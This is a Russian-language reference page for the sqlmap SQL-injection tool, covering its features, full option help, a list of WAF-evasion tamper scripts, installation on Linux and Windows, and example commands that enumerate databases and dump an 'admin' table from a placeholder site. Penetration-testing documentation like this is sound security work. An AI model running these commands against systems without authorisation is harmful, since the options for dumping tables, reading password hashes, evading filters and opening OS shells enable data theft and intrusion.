sqlmap


Описание sqlmap

sqlmap — это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных. Он поставляется с мощным движком выявления и многими нишевыми функциями для конечного тестера на проникновение, имеет широкий набор возможностей, начиная от сбора отпечатков баз данных по полученной от них данным, до доступа к файловой системе и выполнения команд в операционной системе посредством внеполосных (out-of-band) подключений.

Особенности

  • Полная поддержка для таких систем управления базами данных как MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB.
  • Полная поддержка шести техник SQL-инъекций: слепая логическая (boolean-based blind), слепая, основанная на времени (time-based blind), основанная на ошибке (error-based), основанная на запросе UNION (UNION query-based), многоярусные запросы (stacked queries) и внеполосная (out-of-band).
  • Поддержка прямого подключения к базе данных без прохода через SQL инъекцию, посредством введения учётных данных СУБД, IP адреса, порта и имени БД.
  • Поддержка перечисления пользователей, хешей паролей, привилегий, ролей, БД, таблиц и колонок.
  • Автоматическое распознавание форматов хешей паролей и предложение их взлома с использованием атаки по словарю.
  • Поддержка сдампливания записей таблиц БД, диапазона записей или указанных колонок по пользовательскому выбору.
  • Пользователь также может выбрать сдампливать только диапазон символов из каждой записи колонки.
  • Поддержка поиска указанных имён БД, указанных таблиц по всем БД или указанным колонкам по всем таблицам БД. Это полезно, например, для идентификации таблиц, содержащих пользовательские учётные данные приложений, где колонки с соответствующими именами колонок содержат такие строки как имя и пароль.
  • Поддержка загрузки и выгрузки любого файла из файловой системы с сервера БД, когда ПО БД MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения произвольных команд на ОС сервера БД и получение их стандартного вывода когда ПО MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка установления внедиапазонного TCP подключения между атакующей машиной и лежащей в основе сервера базы данных операционной системой. Этот канал по выбору пользователя может быть интерактивным приглашением командной строки, сессией Meterpreter или сессией графического пользовательского интерфейса (VNC).
  • Поддержка повышения пользовательских привилегий процесса базы данных через команду Metasploit'а - Meterpreter getsystem.

Домашняя страница: http://sqlmap.org/

Автор: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar

Лицензия: GPLv2

Справка по sqlmap

Использование:

python sqlmap [опции]

Опции:

  -h, --help            Показать базовую справку и выйте
  -hh                   Показать продвинутую справку и выйти
  --version             Показать номер версии программы и выйти
  -v VERBOSE            Уровень вербальности: 0-6 (по умолчанию 1)

  Цель:
    По крайней мере одна из этих опций должна быть указана, чтобы задать цель(и)
    
    -u URL, --url=URL   Целевой URL (например, "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Строка подключения для прямого соединения с базой данных
    -l LOGFILE          Парсить цель(и) из файлов логов Burp или WebScarab
    -m BULKFILE         Сканировать множество целей, заданных в текстовом файле
    -r REQUESTFILE      Загрузить HTTP запросы из файла
    -g GOOGLEDORK       Обработать результаты дорков Google как целевых URL
    -c CONFIGFILE       Загрузить опции из конфигурационного файла INI 

  Запросы:
    Эти опции могут использоваться для определения как подключиться к целевому URL

    -A AGENT, --user-agent=AGENT    Использование значение заголовка User-Agent
    -H HEADER, --hea..    Дополнительный заголовок (например, "X-Forwarded-For: 127.0.0.1")
    --method=МЕТОД        Принудительно использовать заданный HTTP метод (например, PUT)
    --data=ДАННЫЕ         Строка данных для отправки через POST
    --param-del=РАЗД_ПАР  Символ, используемый для разделения величин параметров
    --cookie=КУКИ         Значение заголовка HTTP куки
    --cookie-del=РАЗДЕЛИТЕЛЬ_КУКИ  Символ, используемый для разделения величин куки
    --live-cookies=L..    Файл меняющихся кукиз, используется для загрузки актуальных значений
    --load-cookies=ФАЙЛ_ДЛЯ_ЗАГРУЗКИ  Файл, содержащий куки в формате Netscape/wget 
    --drop-set-cookie     Игнорировать заголовок Set-Cookie из ответа
    --mobile              С помощью HTTP заголовка User-Agent имитировать смартфон
    --random-agent        Использовать случайно выбранное значение заголовка HTTP User-Agent 
    --host=ХОСТ           Значение заголовка хоста HTTP
    --referer=РЕФЕРЕР     Значение заголовка HTTP Referer
    --headers=ЗАГОЛОВКИ   Дополнительные заголовки (к примеру, "Accept-Language: fr\nETag: 123")
    --auth-type=ТИП_АУТ   HTTP тип аутентификации (Basic, Digest, NTLM или PKI)
    --auth-cred=ДАННЫЕ_АУТ  Учётные данные HTTP аутентификации (имя:пароль)
    --auth-file=ФАЙЛ_АУТ  файл HTTP аутентификации PEM сертификат/частный ключ
    --ignore-401          Игнорировать ошибку HTTP 401 (Unauthorized) (Неавторизован)
    --ignore-proxy        Игнорировать дефолтные системные настройки прокси
    --ignore-redirects    Игнорировать попытки редиректа
    --ignore-timeouts     Игнорировать таймауты соединений
    --proxy=ПРОКСИ        Использовать прокси для подключения к целевому URL
    --proxy-cred=УЧЁТКА_ПРОКСИ  Учётные данные аутентификации прокси (имя:пароль)
    --proxy-file=ФАЙЛ_ПРОКСИ  Загрузить список прокси из файла
    --proxy-freq=PRO..     Запросы между сменой прокси из заданного списка
    --tor                  Использовать анонимную сеть Tor
    --tor-port=TORPORT     Установить порт прокси Tor отличный от дефолтного
    --tor-type=TORTYPE     Установить тип прокси Tor (HTTP (по умолчанию), SOCKS4 или SOCKS5)
    --check-tor            Проверить, используется ли Tor должным образом
    --delay=ЗАДЕРЖКА       Задержка в секундах между каждым HTTP запросом
    --timeout=ТАЙМАУТ      Секунды для ожидания перед таймаутом соединения (по умолчанию 30)
    --retries=ПОПЫТКИ      Попытки при таймаутах соединения (по умолчанию 3)
    --randomize=ПАРАМЕТРЫ  Случайно менять значения данного параметра(ов)
    --safe-url=БЕЗОПАСНЫЙ_EURL  URL адрес для частого посещения во время тестирования
    --safe-post=POST  Данные POST для отправки на безопасный URL
    --safe-req=БЕЗОПАСНЫЙ_ФАЙЛ  Load safe HTTP request from a file
    --safe-freq=КОЛИЧЕСТВО  Тестовые запросы между двумя визитами на заданный безопасный URL
    --skip-urlencode       Пропустить URL кодирование данных для запросов
    --csrf-token=CSR..     Параметр используемый для удержания токена anti-CSRF
    --csrf-url=CSRFURL     URL адрес для посещения для извлечения токена anti-CSRF
    --csrf-method=CS..     Метод HTTP для использования при посещении страницы с токеном анти-CSRF
    --csrf-retries=C..     Повторные попытки получения токена анти-CSRF (по умолчанию 0)
    --force-ssl            Принудительное использование SSL/HTTPS
    --chunked              Использовать HTTP-запросы с фрагментированной передачей данных (POST)
    --hpp                  Использовать метод загрязнения параметра HTTP
    --eval=EVALCODE        Выполнить данный код Python перед запросом (например,
                           "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Оптимизация:
    Эти опции могут использовать для оптимизации производительности sqlmap

    -o                  Отключить все переключатели оптимизации
    --predict-output    Прогнозировать общий вывод запросов
    --keep-alive        Использовать постоянные соединения HTTP(s)
    --null-connection   Получить длину страницу без фактического тела ответа HTTP
    --threads=ПОТОКИ    Максимальное количество одновременных HTTP(s) запросов (по умолчанию 1)

  Инъекция:
    Эти опции могут использоваться для определения, какой параметр тестировать,
    обеспечивать пользовательскую инъекционную нагрузку и дополнительные скрипты обфускации

    -p TESTPARAMETER    Тестируемый параметр(ы)
    --skip=SKIP         Пропустить тестирования данного параметра(ов)
    --skip-static       Пропустить тестирование параметров, которые не кажутся динамическими
    --param-exclude=..  Регулярное выражение для исключения параметров из тестирования (например, "ses")
    --param-filter=P..  Выберите проверяемые параметры по месту (например, "POST")
    --dbms=DBMS         Принудительно указать СУБД
    --dbms-cred=DBMS..  Данные аутентификации СУБД (пользователь:пароль)
    --os=OS             Принудительно указать операционную систему СУБД
    --invalid-bignum    Использовать большие числа для недействительных значений
    --invalid-logical   Использовать логические операции для недействительных значений
    --invalid-string    Использовать случайные строки для недействительных значений
    --no-cast           Отключить механизм отбора полезной нагрузки
    --no-escape         Отключить механизм экранирования строк
    --prefix=PREFIX     Предваряющая строка инъекционного запроса
    --suffix=SUFFIX     Завершающая строка инъекционного запроса
    --tamper=TAMPER     Использовать данный скрипт(ы) для обфускации инъекционных данных

  Выявление:
    Эти опции можно использовать для настройки фазы выявления

    --level=УРОВЕНЬ       Уровень выполнения тестирования (1-5, по умолчанию 1)
    --risk=РИСК           Риск выполняемого тестирования (1-3, по умолчанию 1)
    --string=СТРОКА       Строка, когда запрос выполнен в True (Истина)
    --not-string=НЕ_ИСТИНА  Строка, когда запрос выполнен в False (Ложь)
    --regexp=РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ     Регулярное выражение, когда запрос выполнен в True (Истина)
    --code=КОД            HTTP код, когда запрос выполнен в True (Истина)
    --smart               Выполнять тщательные тесты, только если эвристика положительна.
    --text-only           Сравнить страницы основываясь только на текстовом содержимом
    --titles              Сравнить страницы основываясь только на их заголовках

  Техники:
    Эти опции можно использовать для поднастройки тестирования отдельных техник SQL инъекции

    --technique=ТЕХНИКА    Техники SQL инъекций для использования (по умолчанию "BEUSTQ")
    --time-sec=TIMESEC     Секунды для задержки ответа СУБД (по умолчанию 5)
    --union-cols=UCOLS     Диапазон колонок для тестирования с запросами UNION SQL инъекций
    --union-char=UCHAR     Символ для использования при брутфорсинге количества колонок
    --union-from=UFROM     Таблица для использования в FROM части UNION запроса SQL инъекции
    --dns-domain=ДОМЕН     Доменное имя, используемое для эксфильтрационной атаки DNS
    --second-url=SEC..     URL результирующей страницы ищется для ответа второго порядка
    --second-req=SEC..     Загрузить HTTP-запрос второго порядка из файла

  Отпечатки:
    -f, --fingerprint   Выполняет обширную сверку версии СУБД

  Перечисления:
    Эти опции могут использоваться для перечисления информации
    системы управления базами данных, структуры содержащихся в
    таблицах данных. Более того, вы можете запустить ваши собственные 
    SQL выражения

    -a, --all           Получить всё
    -b, --banner        Получить банер СУБД
    --current-user      Получить текущего пользователя СУБД
    --current-db        Получить текущую базу данных СУБД
    --hostname          Получить имя хоста сервера СУБД
    --is-dba            Определить, является ли текущий пользователь администратором СУБД
    --users             Перечислить пользователей СУБД
    --passwords         Перечислить хеши паролей пользователей СУБД
    --privileges        Перечислить пользовательские привилегии СУБД
    --roles             Перечислить пользовательские роли СУБД
    --dbs               Перечислить базы данных СУБД
    --tables            Перечислить таблицы базы данных СУБД
    --columns           Перечислить колонки таблицы СУБД
    --schema            Перечислить схему СУБД
    --count             Перечислить количество записей для таблицы(таблиц)
    --dump              Сдампить записи таблицы базы данных СУБД
    --dump-all          Сдампить все записи таблиц базы данных СУБД
    --search            Поиск колонки(ок), таблиц(ы) и/или имени(имён) базы данных
    --comments          Получить комментарии СУБД
    --statements        Получить операторы SQL, выполняемые в СУБД
    -D БД               БД СУБД для перечисления
    -T ТБЛ              Таблица(ы) БД СУБД для перечисления
    -C КОЛ              Колонка(и) таблицы БД СУБД для перечисления
    -X ПРОПУСТИТЬКОЛ    Колонка(и) БД СУБД для не перечисления
    -U ПОЛЬЗОВАТЕЛЬ     Пользователи СУБД для перечисления
    --exclude-sysdbs    Пробустить системные БД СУБД при перечислении таблиц
    --pivot-column=P..  Имя стержневой (Pivot) колонки
    --where=DUMPWHERE   Использовать условие WHERE при дампинге таблиц
    --start=LIMITSTART  Первая выходная запись запроса для получения
    --stop=LIMITSTOP    Последняя выходная запись запроса для получения
    --first=FIRSTCHAR   Первый символ выходного слова запроса для получения
    --last=LASTCHAR     Последний символ выходного слова запроса для получения
    --sql-query=QUERY   SQL выражение для исполнения
    --sql-shell         Приглашение интерактивного SQL шелла
    --sql-file=SQLFILE  Выполнить SQL выражение из данного файла(ов)
    
  Брут-форс:
    Эти опции могут использоваться для записи проверок брут-форсом

    --common-tables     Проверить наличие распространённых таблиц
    --common-columns    Проверить наличие распространённых колонок
    --common-files      Проверить существование распространённых файлов

  Инъекция заданных пользователем функций:
    Эти опции могут быть использованы для создания определённых пользователем функций

    --udf-inject        Вставка предопределённых пользователем функций
    --shared-lib=SHLIB  Локальный путь до общей библиотеки

  Доступ к файловой системе:
    Эти опции могут быть использованы для доступа к файловой системе СУБД

    --file-read=RFILE   Прочитать файл из файловой системы СУБД
    --file-write=WFILE  Записать локальный файл в файловую систему СУБД
    --file-dest=DFILE   Абсолютный путь для записи файла в СУБД

  Доступ к оперативной системе:
    Эти опции могут быть использованы для получения доступа к ОС СУБД

    --os-cmd=OSCMD      Выполнить команду ОС
    --os-shell          Приглашение интерактивного шелла ОС
    --os-pwn            Прриглашение для внеполосного шелла, Meterpreter или VNC
    --os-smbrelay       Однокликовое приглашение для внеполосного шелла, Meterpreter или VNC
    --os-bof            Эксплуатация переполнения буфера хранимой процедуры
    --priv-esc          Повышение пользовательских привилегий процесса БД
    --msf-path=MSFPATH  Локальный путь где установлен Metasploit Framework
    --tmp-path=TMPPATH  Удалённый абсолютный путь директории временных файлов

  Доступ к регистру Windows:
    Эти опции могут использоваться к доступу к регистру Windows СУБД

    --reg-read          Прочитать значение ключа регистра Windows
    --reg-add           Записать значение ключа регистра Windows
    --reg-del           Удалить значение ключа регистра Windows
    --reg-key=REGKEY    Ключ регистра Windows
    --reg-value=REGVAL  Значение ключа регистра Windows
    --reg-data=REGDATA  Данные значения ключа регистра Windows
    --reg-type=REGTYPE  Тип значения ключа регистра Windows

  Общие:
    Эти опции могут быть использованы для установки общих рабочих параметров

    -s SESSIONFILE      Загрузить сессию из сохранённого файла (.sqlite)
    -t TRAFFICFILE      Записать весь HTTP трафик в текстовый файл
    --answers=ANSWERS   Установить ответ на вопрос (например "quit=N,follow=N")
    --base64=BASE64P..  Параметры, содержащие данные в кодировке Base64
    --base64-safe       Использовать безопасный алфавит Base64 для URL и имен файлов (RFC 4648)
    --batch             Никогда не спрашивать пользовательского ввода, использовать поведение по умолчанию
    --binary-fields=..  Поля результатов имеют двоичные значения (например, "digest")
    --check-internet    Проверьте подключение к Интернету, прежде чем оценивать цель
    --cleanup           Очистить СУБД от специфичных для sqlmap пользовательских функций и таблиц
    --crawl=CRAWLDEPTH  Сканирование веб-сайта, начиная с целевого URL
    --crawl-exclude=..  Регулярное выражение для исключения страниц из сканирования (например, "выход")
    --csv-del=CSVDEL    Символ-разделитель, используемый в выводе CSV (по умолчанию ",")
    --charset=CHARSET   Принудительная кодировка символов, используемых для получения данных
    --check-internet    Проверить Интернет-соединение перед оценкой цели
    --crawl=CRAWLDEPTH  Ползать по веб-сайту начиная с заданного URL
    --crawl-exclude=РЕГВЫРАЖЕНИЕ  Регулярное выражение для исключения страниц для ползания (например, "logout")
    --csv-del=CSVDEL    Символ разделителя, используемый в выводе CSV (по умолчанию ",")
    --dump-format=ДАМПФОРМАТ  Формат сдампленных данных (CSV (по умолчанию), HTML или SQLITE)
    --encoding=ENCOD..  Кодировка символов, используемая для получения данных (например, GBK)
    --eta               Отобразить для каждого вывода приблизительное время прибытия
    --flush-session     Стереть сессионные файлы для текущей цели
    --forms             Парсить и тестировать формы на целевой URL
    --fresh-queries     Игнорировать результаты запросов, сохранённые в сессионном файле
    --gpage=GOOGLEPAGE  Использовать результаты дорка Google с указанного номера страницы
    --har=HARFILE       Записывать весь HTTP-трафик в HAR-файл
    --hex               Использовать шестнадцатеричную функцию(ии) СУБД для получения данных
    --output-dir=OUT..  Пользовательский путь директории вывода
    --parse-errors      Парсить и отображать сообщения ошибок СУБД из ответов
    --preprocess=PRE..  Использовать данный скрипт(ы) для предварительной обработки (запроса)
    --postprocess=PO..  Использовать данный скрипт(ы) для постобработки (ответа)
    --repair            Повторно сбросить записи, имеющие отметку неизвестного символа (?)
    --save=SAVECONFIG   Сохранить опции в конфигурационный INI файл
    --scope=SCOPE       Регулярное выражение для фильтрации целей из лога proxy
    --skip-heuristics   Пропустить эвристическое обнаружение уязвимостей SQLi/XSS
    --skip-waf          Пропустить эвристическое обнаружение WAF/IPS защиты
    --table-prefix=T..  Префикс, используемый для временных таблиц (по умолчанию: «sqlmap»)
    --test-filter=TE..  Выбрать тесты по полезной нагрузке и/или названиям (например, ROW)
    --test-skip=TEST..  Пропустить тесты по полезной нагрузке и/или названиям (например, BENCHMARK)
    --web-root=WEBROOT  Корневая директория веб-сервера (например, "/var/www")

  Разное:
    Опции, которые не попали в другие категории
    
    -z MNEMONICS        Использовать короткие мнемоники (например, "flu,bat,ban,tec=EU")
    --alert=ALERT       Запустить команду(ы) ОС, когда найдена SQL инъекция
    --beep              Сигнал на вопрос и/или когда найдена SQL инъекция
    --dependencies      Проверить на отсутствующие (неосновные) зависимости sqlmap
    --disable-coloring  Отключить раскрашивание вывода в консоли
    --list-tampers      Вывести список доступных скриптов tamper
    --offline           Работать в оффлайн режиме (использовать только данные сессии)
    --purge             Безопасно удалить всё содержимое из директории вывода
    --results-file=R..  Расположение файла CSV с результатами в режиме множества целей
    --sqlmap-shell      Запрос интерактивного шелла sqlmap
    --tmp-dir=TMPDIR    Локальная директория для сохранения временных файлов
    --unstable          Настроить опции для нестабильных соединений
    --update            Обновить sqlmap
    --wizard            Простой интерфейс мастера для начинающих пользователей

Руководство по sqlmap

Страница man присутствует, но является устаревшей и не дополняет ничего нового к справке.


Доступные tamper скрипты sqlmap

  • 0x2char.py - Заменить каждую (MySQL) 0x<шестнадцатеричную> кодированную строку на эквивалентный CONCAT(CHAR(),…) двойник
  • apostrophemask.py - Заменить символ апострофа (') на его UTF-8 full width аналог (то есть ' -> %EF%BC%87)
  • apostrophenullencode.py - Заменить символ апострофа (') на его нелегальный double unicode аналог (то есть ' -> %00%27)
  • appendnullbyte.py - Appends (Access) NULL byte character (%00) at the end of payload
  • base64encode.py - Base64-encodes all characters in a given payload
  • between.py - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
  • bluecoat.py - Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
  • chardoubleencode.py - Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
  • charencode.py - URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
  • charunicodeencode.py - Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
  • charunicodeescape.py - Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
  • commalesslimit.py - Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart
  • commalessmid.py - Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart
  • commentbeforeparentheses.py - Prepends (inline) comment before parentheses (e.g. ( -> /**/()
  • concat2concatws.py - Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart
  • equaltolike.py - Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
  • escapequotes.py - Slash escape single and double quotes (e.g. ' -> \')
  • greatest.py - Replaces greater than operator ('>') with 'GREATEST' counterpart
  • halfversionedmorekeywords.py - Adds (MySQL) versioned comment before each keyword
  • htmlencode.py - HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> &#39;)
  • ifnull2casewhenisnull.py - Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart
  • ifnull2ifisnull.py - Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart
  • informationschemacomment.py - Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
  • least.py - Replaces greater than operator ('>') with 'LEAST' counterpart
  • lowercase.py - Replaces each keyword character with lower case value (e.g. SELECT -> select)
  • luanginx.py - LUA-Nginx WAFs Bypass (e.g. Cloudflare)
  • modsecurityversioned.py - Embraces complete query with (MySQL) versioned comment
  • modsecurityzeroversioned.py - Embraces complete query with (MySQL) zero-versioned comment
  • multiplespaces.py - Adds multiple spaces (' ') around SQL keywords
  • overlongutf8.py - Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7)
  • overlongutf8more.py - Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
  • percentage.py - Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
  • plus2concat.py - Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
  • plus2fnconcat.py - Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
  • randomcase.py - Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
  • randomcomments.py - Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
  • sp_password.py - Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
  • space2comment.py - Replaces space character (' ') with comments '/**/'
  • space2dash.py - Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
  • space2hash.py - Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
  • space2morecomment.py - Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
  • space2morehash.py - Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
  • space2mssqlblank.py - Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
  • space2mssqlhash.py - Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
  • space2mysqlblank.py - Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
  • space2mysqldash.py - Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
  • space2plus.py - Replaces space character (' ') with plus ('+')
  • space2randomblank.py - Replaces space character (' ') with a random blank character from a valid set of alternate characters
  • symboliclogical.py - Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
  • unionalltounion.py - Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
  • unmagicquotes.py - Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
  • uppercase.py - Replaces each keyword character with upper case value (e.g. select -> SELECT)
  • varnish.py - Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall
  • versionedkeywords.py - Encloses each non-function keyword with (MySQL) versioned comment
  • versionedmorekeywords.py - Encloses each keyword with (MySQL) versioned comment
  • xforwardedfor.py - Append a fake HTTP header 'X-Forwarded-For'

Примеры запуска sqlmap

Перечислить базы данных (--dbs) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs

Построить список таблиц (--tables) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)


sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

Показать колонки (--columns) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns

Вывести дамп (--dump) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

Вывести содержимое (--dump) колонки login (-C login) для таблицы admin (-T admin) для базы данных laminat (-D laminat) для сайта http://www.sqldummywebsite.name/rubrika.php?id=31 (-u http://www.sqldummywebsite.name/rubrika.php?id=31)

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump

Установка sqlmap

Программа предустановлена в Kali Linux.

Установка sqlmap в Linux

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev/
./sqlmap.py --wizard

Установка sqlmap в Windows

Для запуска sqlmap под Windows, кроме sqlmap, нужен Python.

За sqlmap заходим на официальный сайт, или скачиваем по прямой ссылке zip-файл.

За Python'ом заходим на его официальный сайт в раздел загрузок. Там представлены две ветки 3.* и 2.*. В данном случае (для запуска sqlmap) нам нужна версия 2.*. На момент скачивания доступна Python 2.7.11.

Установка скаченного файла элементарна. Только запомните, в какой каталог вы его установили.

Так, теперь переходим в каталог с установленным Python. У меня это каталог C:\Python27\ (думаю, у вас также, если вы не меняли дефолтные значения).

Запустите командную строку (Win+x и в открывшемся окне выберите «Командная строка»). Теперь хватаете файл python.exe (который лежит в каталоге C:\Python27\) и перетаскиваете его в окно командной строки. В командной строке должен появится полный путь до файла. Дописываете к нему через пробел -v

0118

И нажимаете Enter. Если видите много разной информации, в том числе и о версии, значит всё в порядке. Нажмите Ctrl+c, чтобы выйти.

Запуск sqlmap

Помните наш скаченный архив с sqlmap? Распакуйте его. Теперь в командную строку перетаскиваете файл python.exe, ставите пробел, перетаскиваете в эту же командную строку файл sqlmap.py (из архива с sqlmap) ставите ещё один пробел и пишите -h. У меня получилось так

C:\Python27\python.exe C:\Users\Alex\Downloads\sqlmapproject-sqlmap-6cc092b\sqlmap.py -h

 

0214

Нажмите Enter:

0314

Если появилась справка по sqlmap, значит всё работает как надо! Можно приступать к анализу сайтов.

Как использовать sqlmap на Windows

В командной строке на Windows sqlmap нужно запускать следующим образом:

путь_до_файла_python.exe путь_до_файла_sqlmap.py -u адрес_проверяемого_сайта --dbs

Например, я хочу проверить сайт http://test4.hackware.biz/bad.php?t=2796

В этом случае полная команда будет

C:\Python27\python.exe C:\Users\Alex\Downloads\sqlmapproject-sqlmap-6cc092b\sqlmap.py -u http://test4.hackware.ru/bad.php?t=2796 --dbs

0410

Скриншоты sqlmap

0214 (1)


0311

049

068

Инструкции по sqlmap


Близкие программы:

  • NoSQLMap (58.2%)
  • jSQL Injection (51.9%)
  • APT2 (48.4%)
  • cisco-torch (45.1%)
  • CrackMapExec (43.8%)
  • WPSploit (RANDOM - 16.4%)
  • Рекомендуется Вам:

    Comments are Closed